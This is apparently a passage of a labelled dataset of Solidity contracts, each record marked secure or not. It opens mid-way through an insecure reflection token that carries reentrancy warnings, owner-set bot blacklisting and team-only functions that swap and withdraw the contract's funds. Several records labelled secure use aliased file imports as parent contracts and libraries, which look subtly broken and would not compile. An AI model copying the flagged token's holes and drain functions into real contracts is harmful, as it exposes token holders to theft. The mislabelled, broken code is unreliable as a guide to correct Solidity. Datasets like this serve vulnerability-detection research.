external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 485d2bc\n\t\t// reentrancy-eth | ID: 38d7015\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 485d2bc\n\t\t// unused-return | ID: 3db455c\n\t\t// reentrancy-eth | ID: 38d7015\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 485d2bc\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 485d2bc\n cooldownEnabled = false;\n\t\t// reentrancy-benign | ID: 485d2bc\n _maxTxAmount = 10000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 38d7015\n tradingOpen = true;\n\t\t// unused-return | ID: 4ebc793\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n function manualswap() external {\n require(_msgSender() == _teamAddress);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _teamAddress);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 2a8dda0\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 2a8dda0\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 343fcf5\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 2a8dda0\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 2a8dda0\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 84d0879\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _taxFee,\n 15\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {\n require(maxTxPercent > 0, \"Amount must be greater than 0\");\n _maxTxAmount = _tTotal.mul(maxTxPercent).div(10 ** 2);\n emit MaxTxAmountUpdated(_maxTxAmount);\n }\n}",
"file_name": "solidity_code_2701.sol",
"secure": 0,
"size_bytes": 19098
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 {\n uint256 public totalSupply;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowances;\n\n using SafeMath for uint256;\n\n function balanceOf(address _owner) public view returns (uint256) {\n return balances[_owner];\n }\n\n function allowanceOf(\n address _owner,\n address _delegate\n ) public view returns (uint256) {\n return allowances[_owner][_delegate];\n }\n\n function transfer(\n address _to,\n uint256 _amount\n ) public returns (bool success) {\n balances[msg.sender] = balances[msg.sender] - _amount;\n balances[_to] = balances[_to] + _amount;\n\n emit Transfer(msg.sender, _to, _amount);\n\n return true;\n }\n\n function approve(\n address _delegate,\n uint256 _amount\n ) public returns (bool success) {\n allowances[msg.sender][_delegate] = _amount;\n\n emit Approval(msg.sender, _delegate, _amount);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _amount\n ) public returns (bool success) {\n allowances[_from][msg.sender] = allowances[_from][msg.sender] - _amount;\n\n balances[_from] = balances[_from] - _amount;\n balances[_to] = balances[_to] + _amount;\n\n emit Transfer(_from, _to, _amount);\n\n return true;\n }\n\n event Approval(\n address indexed _owner,\n address indexed _delegate,\n uint256 _amount\n );\n event Transfer(address indexed _from, address indexed _to, uint256 _amount);\n}",
"file_name": "solidity_code_2702.sol",
"secure": 1,
"size_bytes": 1803
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC677 is ERC20 {\n function transferAndCall(\n address _to,\n uint256 _amount,\n bytes calldata _data\n ) public virtual returns (bool success);\n\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 _amount,\n bytes _data\n );\n}",
"file_name": "solidity_code_2703.sol",
"secure": 1,
"size_bytes": 463
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC677Receiver {\n function onTokenTransfer(\n address _sender,\n uint256 _amount,\n bytes calldata _data\n ) public virtual;\n}",
"file_name": "solidity_code_2704.sol",
"secure": 1,
"size_bytes": 235
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract StarterToken is ERC20 {\n function increaseApproval(\n address _delegate,\n uint256 _amount\n ) public returns (bool success) {\n allowances[msg.sender][_delegate] =\n allowances[msg.sender][_delegate] +\n _amount;\n\n emit Approval(msg.sender, _delegate, allowances[msg.sender][_delegate]);\n\n return true;\n }\n\n function decreaseApproval(\n address _delegate,\n uint256 _amount\n ) public returns (bool success) {\n uint256 currVal = allowances[msg.sender][_delegate];\n\n if (_amount > currVal) {\n allowances[msg.sender][_delegate] = 0;\n } else {\n allowances[msg.sender][_delegate] = currVal - _amount;\n }\n\n emit Approval(msg.sender, _delegate, allowances[msg.sender][_delegate]);\n\n return true;\n }\n}",
"file_name": "solidity_code_2705.sol",
"secure": 1,
"size_bytes": 1008
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC677.sol\" as ERC677;\nimport \"./ERC677Receiver.sol\" as ERC677Receiver;\n\ncontract ERC677Token is ERC677 {\n function transferAndCall(\n address _to,\n uint256 _amount,\n bytes calldata _data\n ) public virtual override returns (bool success) {\n super.transfer(_to, _amount);\n\n emit Transfer(msg.sender, _to, _amount, _data);\n\n if (isContract(_to)) {\n contractFallback(_to, _amount, _data);\n }\n\n return true;\n }\n\n function contractFallback(\n address _to,\n uint256 _amount,\n bytes calldata _data\n ) private {\n ERC677Receiver receiver = ERC677Receiver(_to);\n\n receiver.onTokenTransfer(msg.sender, _amount, _data);\n }\n\n function isContract(address _addr) private view returns (bool hasCode) {\n uint256 length;\n\n assembly {\n length := extcodesize(_addr)\n }\n\n return length > 0;\n }\n}",
"file_name": "solidity_code_2706.sol",
"secure": 1,
"size_bytes": 1048
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StarterToken.sol\" as StarterToken;\nimport \"./ERC677Token.sol\" as ERC677Token;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BisonToken is StarterToken, ERC677Token {\n string public constant name = \"Bison\";\n string public constant symbol = \"BSN\";\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 158e3c5): BisonToken.owner should be immutable \n\t// Recommendation for 158e3c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n event Burn(address indexed _from, uint256 _amount);\n\n using SafeMath for uint256;\n\n constructor() {\n owner = msg.sender;\n totalSupply = 10 ** 27;\n balances[msg.sender] = totalSupply;\n }\n\n function transferAndCall(\n address _to,\n uint256 _amount,\n bytes calldata _data\n ) public override validReciever(_to) returns (bool success) {\n return super.transferAndCall(_to, _amount, _data);\n }\n\n function burn(uint256 _amount) public isOwner returns (bool success) {\n require(_amount > 0);\n\n balances[msg.sender] = balances[msg.sender] - _amount;\n totalSupply = totalSupply - _amount;\n\n emit Burn(msg.sender, _amount);\n\n return true;\n }\n\n modifier validReciever(address _to) {\n require(_to != address(0x0) && _to != address(this));\n _;\n }\n\n modifier isOwner() {\n require(msg.sender == owner);\n _;\n }\n}",
"file_name": "solidity_code_2707.sol",
"secure": 1,
"size_bytes": 1661
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 _x, uint256 _y) internal pure returns (uint256) {\n if (_x == 0) {\n return 0;\n }\n uint256 z = _x * _y;\n require(z / _x == _y, \"SafeMath: multiplication overflow\");\n return z;\n }\n\n function div(uint256 _x, uint256 _y) internal pure returns (uint256) {\n require(_y > 0, \"SafeMath: division by zero\");\n uint256 z = _x / _y;\n return z;\n }\n\n function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {\n require(_y <= _x, \"SafeMath: subtraction overflow\");\n return _x - _y;\n }\n\n function add(uint256 _x, uint256 _y) internal pure returns (uint256) {\n uint256 z = _x + _y;\n require(z >= _x, \"SafeMath: addition overflow\");\n return z;\n }\n}",
"file_name": "solidity_code_2708.sol",
"secure": 1,
"size_bytes": 896
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.